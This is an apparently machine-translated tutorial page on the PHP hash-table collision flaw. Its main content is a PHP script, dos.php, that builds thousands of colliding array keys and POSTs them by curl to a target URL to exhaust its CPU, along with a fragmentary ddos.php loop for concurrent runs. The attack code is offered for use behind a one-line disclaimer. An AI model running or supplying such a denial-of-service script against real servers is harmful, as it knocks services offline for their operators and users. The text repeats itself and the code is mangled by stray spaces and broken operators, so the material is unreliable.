PHP uses the hash conflict vulnerability to analyze DDoS attacks. Analysis of PHP's method of using the hash conflict vulnerability for DDoS attacks this article mainly introduces PHP's method of using the hash conflict vulnerability for DDoS attacks, instance Analysis: php uses hash for DDoS attacks. PHP uses the hash conflict vulnerability for DDoS attacks.
This article mainly introduces how PHP uses the hash conflict vulnerability for DDoS attacks. The example analyzes the principles and implementation skills of php using hash for DDoS attacks. For more information, see
This document describes how PHP uses the hash conflict vulnerability to launch DDoS attacks. Share it with you for your reference. The specific analysis is as follows:
First of all, declare that the content of this article is only for research and use. do not use it for illegal behavior!
We have mentioned the hash table collision vulnerability recently. many common languages, including java, python, and php, are not spared. let's take a look at its power tonight.
Attack principle:
By posting a group of carefully crafted array parameters to the target server, when the underlying language processes the received array parameters at the server end, this vulnerability causes high CPU consumption, eventually, the server resources are exhausted.
You don't need to use any fancy techniques. you can simply use PHP to check the effect.
File: dos. php
?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
// Target address // What does the target address do if it exists? $ Host = 'http: // 127.0.0.1/test. php '; $ Data = ''; $ Size = pow (2, 15 ); For ($ key = 0, $ max = ($ size-1) * $ size; $ key <= $ max; $ key + = $ size) { $ Data. = '& array ['. $ key. '] = 0 '; } $ Ret = curl ($ host, ltrim ($ data ,'&')); Var_dump ($ ret ); Function curl ($ url, $ post, $ timeout = 30 ){ $ Ch = curl_init (); Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true ); Curl_setopt ($ ch, CURLOPT_TIMEOUT, $ timeout ); Curl_setopt ($ ch, CURLOPT_CONNECTTIMEOUT, $ timeout-5 ); Curl_setopt ($ ch, CURLOPT_HTTPHEADER, array ('CT :')); Curl_setopt ($ ch, CURLOPT_URL, $ url ); Curl_setopt ($ ch, CURLOPT_POST, true ); Curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post ); $ Output = curl_exec ($ ch ); If ($ output = false) return false; $ Info = curl_getinfo ($ ch ); $ Http_code = $ info ['http _ Code']; If ($ http_code = 404) return false; Curl_close ($ ch ); Return $ output; } |
File: ddos. php
?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
DDOS For ($ I = 0; $ I <5; $ I ++) {// concurrency Echo ''; } ?> |
I hope this article will help you with php programming.
Ghost This article mainly introduces how PHP uses the hash conflict vulnerability to launch DDoS attacks. The example shows how php uses hash to launch DDoS attacks...